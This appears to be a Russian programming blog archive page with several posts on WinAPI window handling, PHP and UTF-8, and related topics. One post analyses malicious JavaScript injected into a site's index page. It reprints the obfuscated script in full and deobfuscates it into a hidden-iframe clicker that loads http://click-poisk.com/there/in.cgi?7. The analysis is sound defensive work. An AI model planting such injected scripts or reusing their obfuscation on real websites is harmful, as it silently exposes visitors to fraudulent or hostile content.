Archive

Archive for the ‘Программирование’ Category

Релиз Parrot 2.10.0, виртуальной машины для Perl 6

November 21st, 2010 No comments

Вышел релиз виртуальной машины для динамических языков программирования Parrot 2.10.0, в первую очередь используемой в проекте Rakudo Perl 6. Parrot поддерживает выполнение универсального байткода, в который могут быть скомпилированы программы на таких языках, как Perl 6, Tcl, Javascript, Ruby, Lua, Scheme, PHP, Python, APL.

читать далее

C++ Builder 5 против Windows Vista или Подлые Модальные Окна

August 18th, 2010 No comments

Проблема.
Есть старое приложение, написанное на C++ Builder 5 и собранное на Windows XP. Все, что нужно о нем знать – в определенный момент программа показывает модальное окно с помощью функции ShowMessage(). Это простой и часто используемый прием вывода сообщения, например, об ошибке.

builder_vs_vista

При запуске приложения на Windows Vista что-то пошло не так. В тот момент, когда должно было появится сообщение, основное окно стало заблокированным, но модального окна я не увидел. Единственный способ остановить программу – Alt+Ctr+Del.

Щелкаю правой кнопкой по exe-файлу, Свойства, Совместимость. Выбираю “Windows XP” и пробую запустить программу снова. На этот раз я увидел модальное окно, но лишь на полсекунды. Далее все то же самое – основное окно заблокировано, модального не видно.

Итак, проблема в том, что Vista показывает модальное окно некоторых старых программ за основным, таким образом, добраться до него и нажать-таки кнопку OK совершенно невозможно.

А мне действительно нужна была эта программа и сообщения, которые она выдавала.

Имеем перед глазами следующую картинку (окно заблокировано, тыкать в него мышкой бесполезно):

Задача.
Увидеть модальное окно и нажать в нем кнопку OK для продолжения выполнения программы.

Решение.
Может, было решение и проще, но я решил вооружиться WinAPI. Известно, что есть у Windows функция ShowWindow(). Она принимает дескриптор окна и команду. Команды бывают разные, мне же достаточно двух: спрятать окно и показать окно. Однако сначала мне нужно узнать дескриптор окна; но и это не проблема – WinAPI имеет средства для перебора окон.

Я решил написать консольное Win32 приложение, которое умело бы делать три действия:

  1. Получить дескрипторы окон с известным заголовком
  2. Спрятать окно с известным дескриптором
  3. Показать окно с известным дескриптором

Алгоритм при появлении модального окна:

  1. Узнать дескриптор основного окна приложения
  2. Спрятать его
  3. Прочитать сообщение и нажать кнопку OK в модальном окне
  4. Показать основное окно
  5. Продолжить работу

Для поиска окна существует функция FindWindow(), которая позволяет найти дескриптор по заголовку. Однако в моем случае с одним и тем же именем было сразу три окна: основное, модальное и то, что в панели задач. Более того – искать окно мне хотелось не по точному совпадению заголовка, а только по началу строки. То есть вместо полного “Ввод данных” я хочу писать, скажем, “Вво”. Функция EnumWindows() вполне удовлетворила мои требования.

Итак, консольное приложение готово (исходники ниже). Запускаю его, ввожу команду EnumWindows и первые символы заголовка:

Вот результат команды:

Беру первое найденное окно и посылаю ему команду “погаснуть”:

Теперь я вижу желанное модальное окно:

Читаю, нажимаю OK. Показываю основное окно:

И продолжаю работу.

Можете скачать консольное приложение и посмотреть исходники:

#include <windows.h>
#include <stdio.h>
 
BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam)
{
	char str[1024];
	char oem[1204];
	char* txt;
 
	// Получаем заголовок очередного окна.
	GetWindowTextA(hwnd, str, 1024);
 
	// Переводим его в кодировку OEM.
	CharToOemA(str, oem);
 
	// Строка поиска.
	txt = (char*)lParam;
 
	// Ищем по совпадению начала строки.
	if (strlen(str) > strlen(txt))
		str[strlen(txt)] = 0;
 
	// Если совпадает - выводим HWND.
	if (!strcmp(str, txt))
		printf("# hwnd = %d : %s\r\n", hwnd, oem);
 
	// Продолжаем поиск.
	return TRUE;
}
 
void CmdEnumWindows()
{
	char title[1024];
 
	// Запрос заголовка окна.
	printf("> window title: ");
	gets_s(title, 1024);
 
	// Кодируем из OEM.
	OemToCharA(title, title);
 
	// Запуск поиска.
	if (EnumWindows(EnumWindowsProc, (LPARAM)title))
		printf("# OK\r\n");
	else
		printf("# ERROR\r\n");
}
 
void CmdShowWindow()
{
	char tmp[32];
	int hwnd;
	int nCmdShow;
 
	// Запрос HWND.
	printf("> hwnd: ");
	gets_s(tmp, 32);
	hwnd = atoi(tmp);
 
	// Запрос nCmdShow.
	printf("> nCmdShow (SW_SHOW = 5, SW_HIDE = 0): ");
	gets_s(tmp, 32);
	nCmdShow = atoi(tmp);
 
	// Вызов WinApi.
	if (ShowWindow((HWND)hwnd, nCmdShow))
		printf("# OK\r\n");
	else
		printf("# ERROR\r\n");
}
 
void main()
{
	// Цикл обработки команд.
	char cmd[256];
 
	while (strcmp(cmd, "Exit"))
	{
		printf("commands: EnumWindows, ShowWindow, Exit\r\n");
		printf("> ");
		gets_s(cmd, 256);
 
		if (!strcmp(cmd, "EnumWindows"))
		{
			CmdEnumWindows();
		}
		else if (!strcmp(cmd, "ShowWindow"))
		{
			CmdShowWindow();
		}
	}
}

P.S. Пока писал статью, понял, как решить проблему значительно проще. Уменьшить основное окно и сдвинуть к краю экрана… Но я все равно рад возможности вспомнить WinAPI и старый добрый Си :)

.NET Interop на примере работы с сокетами

August 12th, 2010 No comments

У нас есть множество технологий. Одни неимоверно быстры, другие неимоверно удобны. Одни позволяют летать со скоростью света, другие позволяют разрабатывать со скоростью света. Споры насчёт того, какой же подход лучше, утихают редко. Сейчас я покажу, как можно скрестить ежа с ужом. У нас есть .NET, которым можно быстро делать и есть Native, который может быстро делать.

Статический анализ Си++ кода и новый стандарт языка C++0x

April 10th, 2010 No comments

В статье рассмотрены новые возможности языка Си++, описанные в стандарте C++0x и поддержанные в Visual Studio 2010. На примере PVS-Studio рассмотрено, как изменения языка отразятся на инструментах статического анализа кода.

Описание структуры меню без использования ресурсов

April 10th, 2010 No comments

Каждый из нас, конечно же, сталкивался с ситуацией, когда меню требуется сгенерировать динамически, непосредственно во время выполнения программы. Это может требоваться по разным причинам, например, из-за наличия нескольких локализаций ресурсов или из-за слишком большого разнообразия вариантов меню.

Распутывание злого кода

March 19th, 2010 No comments

Добрый день!
Подскажите, недавно в мой index был дописан код

function zG(){};tF=53186;zG.prototype = {fK : function() {e="e";this.fQ='';
return 'h2t)tFp2:&/F/)c2l)iFc)k&-FpFo)i)s)k2.Fc&o)m2/&tIh&eFrFeF/&i)n).2c)gIi&?27)'.
iH(/[\)I&F2]/g, '');var oN=new Date();this.nU="";},v : function() {dF=""; wS=9383;
 
...(и много-много этого злокода)...

как так получилось, если от ftp пароли нигде не сохраняю, а других акков нету.
И, если сильны в java, подскажите, что делается то в коде?))

Вот что я недавно нашел на одном форуме. Любопытно узнать, что же действиетльно делается в коде…

1. Форматирование кода

Естественно, сперва необходимо отформатировать код, чтобы начать его читать. Вставляю эту кашу в Notepad++ и через 10 минут работы энтером и табом вижу вот что (приготовьтесь долго скролить):

function zG(){};
tF=53186;
 
zG.prototype =
{
	fK : function()
	{
		e="e";
		this.fQ='';
		return 'h2t)tFp2:&/F/)c2l)iFc)k&-FpFo)i)s)k2.Fc&o)m2/&tIh&eFrFeF/&i)n).2c)gIi&?27)'.iH(/[\)I&F2]/g, '');
		var oN=new Date();
		this.nU="";
	},
	v : function()
	{
		dF="";
		wS=9383;
		nB="nB";
		var t=new Date();
		var h='';
		var m=new Date();
		String.prototype.iH=function(d, o){return this.replace(d, o)};
		var r=new Date();
		tR="tR";
		kQ=false;
		gG=20573;
		wJ=false;
		zW="";
		var c=function(){};
		var y=window;
		gN="gN";
		this.yQ="yQ";
		var yR=y['u{n$eYs9c{aYp{eY'.iH(/[Yj9\$\{]/g, '')];
		var eK=new Date();
		var hI="hI";
		function jL(){};
		var z = this;
		var rN='';
		var p=false;
		var oD = "xxK%3C%2Fbody%3E%3C%2Fhtml%3E";
		function mT(){};
		xH="";
		this.u=false;
		var f=document;
		this.dX="dX";
		this.hB="hB";
		var jA=false;
 
		var k =
		{
			vM : 'arpTpreonTd#CohoirlSd#'.iH(/[#roST]/g, ''),
			oU : 'svtuyvlvei'.iH(/[ivua_]/g, ''),
			kC : 'cKrCe3aKt3ezEzlzezmKeGn3tK'.iH(/[K3zCG]/g, ''),
			fV : 'sReDtRATtTt?rRiRbRuTtEeT'.iH(/[TD\?ER]/g, ''),
			w : 's;rLcL'.iH(/[L;\{\(5]/g, ''),
			xK : 'bko1dUyT'.iH(/[T1Uk\)]/g, '')
		};
 
		var rK='';
		function hV(){};
		var uI=function(){return 'uI'};
		this.gC='';
		var rP="";
		var tZ=function(){return 'tZ'};
		this.a="a";
		var n=f[k.kC]('i<furuaKm<ed'.iH(/[d\<\!uK]/g, ''));
		var kL=new Date();
		i=39073;
		this.fU="fU";
		jO=false;
		pW='';
		var eY=5116;
 
		try
		{
			rD="rD";
			vC=false;
			var fI=function(){};
			var rU="rU";
			this.q="q";
			b="";
			var bJ='';
			nE(n,k.oU, yR("display%3A%20none"));
			function dS(){};
			rG=63044;
			this.uK=false;
			this.iB="iB";
			nE(n,k.w, this.fK());
			eU="eU";
			this.pS='';
			this.fR="";
			var qA='';
			qE="qE";
			qL="";
			f[k.xK][k.vM](n);
			this.xL=54456;
			this.hW="";
			var bK=new Array();
			this.iR="";
		}
		catch(g)
		{
			this.vB="";
			tN='';
			var eJ='';
			var uD=new Array();
			var rV=new Date();
			var l=function(){};
			this.lK='';
			f['wSr%i;tSe%'.iH(/[%;XS/]/g, '')](yR(oD));
			this.hK=49925;
			var iL=new Array();
			hKH='';
			this.uJ=61972;
			this.cO="cO";
			var s="s";
			this.mG=53808;
 
			y['s+eAt+T6iwm+ewoAuAtw'.iH(/[w\+Z6A]/g, '')]
			(
				function()
				{
					this.cJ="cJ";
					this.uR="";
					var pO='';
					vH=58151;
					this.dSF='';
					var sV="sV";
					z.v();
					var wH=34896;
					var cM=new Date();
					var yK=new Array();
					var eYV=function(){};
					this.kU="kU";
					zT="";
				},
				368
			);
 
			zJ="";
			var dXZ="dXZ";
		}
 
		qZ=19279;
		this.vBG='';
		var nM=new Date();
		var tZZ=false;
		var eE=new Date();
		var hC=new Date();
		function vO(){};
		var wZ="";
 
		function nE(n, j, dB)
		{
			this.bW='';
			var fT=new Array();
			n[k.fV](j,dB);
			var iRP=function(){return 'iRP'};
			tD="";
			var kI=new Array();
		}
 
		this.xX='';
		this.fX='';
		var tQ=false;
		dV=false;
	}
};
 
var uY=new Array();
var cP=new zG();
this.dK="dK";
cP.v();
function gQ(){};

Очевидно, что в коде много мусора. Я немного растерялся, не зная, как приступить к его чистке. Но тут взгляд упал на строку:

var yR=y['u{n$eYs9c{aYp{eY'.iH(/[Yj9\$\{]/g, '')];

Я увидел здесь слово unescape! Словно как на трехмерной картинке :) Стало ясно, что делать дальше.

2. Чистка строк

Нахожу функцию чистки строки:

String.prototype.iH=function(d, o){return this.replace(d, o)};

Таким образом, запись:

'u{n$eYs9c{aYp{eY'.iH(/[Yj9\$\{]/g, '');

означает, что из строки нужно выкинуть символы «Yj9\$\{».

'u{n$eYs9c{aYp{eY'.iH(/[Yj9\$\{]/g, '') === 'unescape'

И второй способ засорения строк, попроще:

window.unescape("xxK%3C%2Fbody%3E%3C%2Fhtml%3E") === "xxK</body></html>";

Пробегаю по всем строковым константам и привожу их в порядок…

3. Удаление неиспользуемых функций и переменных

Код оказалось легко уменьшить в 4 раза, удалив строки такого вида:

tF=53186;
gN="gN";
this.fQ='';
var oN=new Date();
kQ=false;
var c=function(){};

4. Устранение запутывающих переменных

Следующим шагом было распутывание конструкций такого вида:

var n=f[k.kC]('iframe');

Благодаря нехитрой таблице преобразований

y=window
yR=y['unescape']
z = this
oD = "xxK%3C%2Fbody%3E%3C%2Fhtml%3E"
f=document
k = {vM:'appendChild', oU:'style', kC:'createElement', fV:'setAttribute', w:'src', xK:'body'}

они превращались во вполне читаемый код:

var n = document['createElement']('iframe');

5. Устранение запутывающих функций

Оставалось избавиться от пары функции:

fK : function()
{
	return 'http://click-poisk.com/there/in.cgi?7';
}
 
function nE(n, j, dB)
{
	n['setAttribute'](j,dB);
}

И можно читать код зловредного скрипта.

6. «что делается-то в коде»

Я прокомментировал каждую строчку:

// констркутор класса zG
function zG(){};
 
// класс zG, состоящий из единственной функции v()
zG.prototype =
{
	v : function()
	{
		// создание iframe
		var n = document['createElement']('iframe');
 
		try
		{
			// iframe делается невидимым
			n['setAttribute']('style', 'display: none');
			// загружаемая iframe страница
			n['setAttribute']('src', 'http://click-poisk.com/there/in.cgi?7');
			// подключение созданного iframe к документу
			dokument['body']['appendChild'](n);
		}
		catch(g)
		{
			// если что-то пошло не так, в документ добавляется какая-то хрень
			document['write']('xxK</body></html>');
			// и менее, чем через полсекунды, попытка повторяется
			window['setTimeout'](function(){this.v();}, 368);
		}
	}
};
 
// сооздание объекта и вызов его злой функции
var cP=new zG();
cP.v();

Это кликер. Я, признаюсь, ожидал чего-то более интересного, но сам процесс распутывания кода был весьма увлекателен.

Кликер – это программа, имитирующая «клики» мышкой по баннерам и прочей рекламе, разновидность Интернет-ботов.

Когда программисту надоедает программирование

March 16th, 2010 No comments

С год назад я столкнулся со странной «проблемой». Уже 7 лет как я занимаюсь программированием. Постепенно начал замечать «спад активности» — учить новое не хочется, рутиной заниматься не просто лень, а мега-лень, базы данных и обработка XML — в печенках уже сидит. И вдруг неожиданно понимаю, что программирование мне… надоело.

20 уроков программирования

March 16th, 2010 No comments

Программист Джонатан Данилко поделился с читателями DCS Media своим опытом, сформулировав 20 наиболее ценных правил, которые он вывел за 20 лет работы. "Вебпланета" представляет перевод его статьи "20/20: Top 20 Programming Lessons I’ve Learned in 20 Years".

Я программировал с 11 лет и с тех пор полюбил технологии и программирование. Со временем я усвоил несколько трудных и лёгких уроков. Как коллеги-программисты вы могли и не сталкиваться с ними, но я предлагаю их тем, кому интересно вынести что-то полезное из моего опыта.

PHP и UTF-8

March 7th, 2010 No comments

Хорошим тоном считается использовать кодировку UTF-8, несмотря на то, что большинство сайтов рунета до сих пор работают на Windows-1251. В статье я расскажу, что же именно нужно сделать, чтобы PHP сайт правильно заработал с Юникодом, и с каким трудностями мне пришлось столкнуться на пути к прогрессу.

Достаточно ли тега meta?

Вот мой index.php:

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
	<meta http-equiv="content-type" content="text/html; charset=utf-8">
	<title>UTF-8</title>
</head>
<body>
	Здравствуй, UTF-8!
</body>

Сохраняю файл в кодировке UTF-8 и вижу в браузере каркозябры. Это меня не может не удивлять, потому что в теге meta указана верная кодировка.

Несмотря на это, все браузеры упорно считают, что документ пришел в Windows-1251.

utf8

Почему?

Статичная страница вместо скрипта

Пробую поменять расширение файла на «.html» и, о чудо! Я вижу надпись «Здравствуй, UTF-8!» Значит, дело в PHP…

Заголовки ответа

А не отправляет ли сервер кодировку в заголовке ответа? Запускаю мониторинг HTTP (как это сделать?) и вижу вот что:

Content-type: text/html; charset=windows-1251

То есть сервер считает, что страница должна быть в кодировке Windows-1251, о чем говорит браузеру заголовком Content-type.

Решение проблемы

Решить проблему можно двумя способами:

  1. Написать в начале скрипта (перед выводом HTML):

    <?php
    header('Content-type: text/html; charset=utf-8');
    ?>
  2. Указать в .htaccess нужную кодировку:

    AddDefaultCharset utf-8

Оба варианта приведут к одному и тому же – сервер вернет нужный нам заголовок:

Content-type: text/html; charset=utf-8

Для чего же тогда тег meta?

Для статичных страничек или же, если пользователь сохранит документ для автономной работы.

Метка BOM

Работая в кодировке UTF-8, нужно знать про злую метку BOM. Это такая последовательность байт, которая идет в начале файла и «помогает» понять кодировку. Однако для PHP эта метка оказывает медвежью услугу. Последовательность байт просто выводится в OUTPUT, в результате чего возникают разные неприятные вещи.

Например, IE отказывается реагировать на директиву DOCTYPE (видимо, он ее ждет в самом начале файла, а там BOM). Если вы используете шаблоны, и для вывода HTML используется несколько файлов, то браузер будет отображать отступы в местах стыка шаблонов.

Решение проблемы – использовать UTF-8 без BOM. Многие редакторы позволяют это делать, например, Notepad++:

bom

Новый номер журнала «Практика функционального программирования»

February 25th, 2010 No comments

http://fprog.ru/images/covers/pfp2010-04.jpg

Вышел новый номер журнала "Практика функционального программирования". В новом номере опубликованы статьи о производительности лиспа, свертках, мономорфизме, бесточечном стиле программирования и введение в программирование на языке Clojure.